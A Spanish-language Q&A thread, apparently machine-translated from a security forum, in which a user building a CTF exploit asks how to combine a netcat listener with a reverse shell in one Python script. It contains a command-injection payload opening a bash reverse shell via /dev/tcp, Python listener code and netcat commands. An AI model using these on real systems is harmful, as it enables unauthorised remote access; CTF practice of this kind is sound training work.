Crear escucha de netcat y ejecutar shell inversa en el mismo script

3

Estoy codificando un exploit en Python que explota una vulnerabilidad de inyección de comandos para un CTF y me pregunto cómo podría iniciar un oyente netcat y luego enviar la carga útil al host remoto y una vez que se establezca la conexión, se ejecutará el script Termina y me deja en la conexión establecida.

Este es mi código:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
urllib2.urlopen(req)

Lo que quiero hacer es algo como esto:

url= "http://vuln_url:8080/ping.php"

IP_ADDRESS = 'local_ip'
PORT = '9999'

cmd = ';bash -i >& /dev/tcp/%s/%s 0>&1' % (IP_ADDRESS, PORT)

values = {
            'ip': cmd,
            'submit':'submit'
          }

#Some code to start the nc listener ¿(os.system("nc -l -p 9999 -vvv")?

data = urllib.urlencode(values)
req = urllib2.Request(url, data)
#Execute the request and start the reverse shell
urllib2.urlopen(req)

#Code to drop me to the nc stablished connection

No estoy seguro si tal cosa es posible. ¿Alguna idea?

    
pregunta Nucklear 18.09.2013 - 16:37
fuente

2 respuestas

4

Por lo general, solo iniciarías la escucha por separado: abre un nuevo terminal y ejecuta tu nc -l -p 9999 . Deje que espere, luego dispare su exploit haciendo que la máquina remota inicie una shell inversa.

Hay muchas cosas que pueden salir mal en este proceso, por lo general, solo atar una concha es mucho más fácil que hacer que una concha inversa funcione cuando estás ciego.

Necesitas abrir un conector de escucha y luego interactuar con él una vez que haya recibido una conexión.

Entonces, primero abra su conector de escucha (esto reemplaza a netcat)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0', 9999))
s.listen(5)

Puedes usar una función simple interact que toma un socket:

def interact(sock):
     command=''
     while(command != 'exit'):
         command=raw_input('$ ')
         sock.send(command + '\n')
         time.sleep(.5)
         print sock.recv(0x10000)
     return

Luego puedes usarlos junto con algo como:

interact(s.accept())

Esto podría requerir algunos ajustes, pero ese es el diseño básico.

    
respondido por el lynks 18.09.2013 - 16:54
fuente
0

En su máquina Kali, puede enviar al oyente netcat al fondo emitiendo:

  

nc -lvp [puerto] & (No use los corchetes en su comando)

El cursor puede estar en una nueva línea en blanco, pero no se preocupe, simplemente presione Intro y lo llevará de vuelta a donde puede emitir otro comando. Siéntase libre de mirar el trabajo en segundo plano usando:

  

trabajos

Verá todos los trabajos enumerados con un número, estado, seguido del trabajo. Puedes matar cualquier trabajo emitiendo:

  

mata% 1

El 1 es el trabajo que deseas matar. De todos modos, el oyente nc estará en segundo plano y puedes ejecutar tu script de exploit de Python que, si tiene éxito, debería mostrar tu shell / conexión.

    
respondido por el Matthew 24.01.2016 - 06:30
fuente

Lea otras preguntas en las etiquetas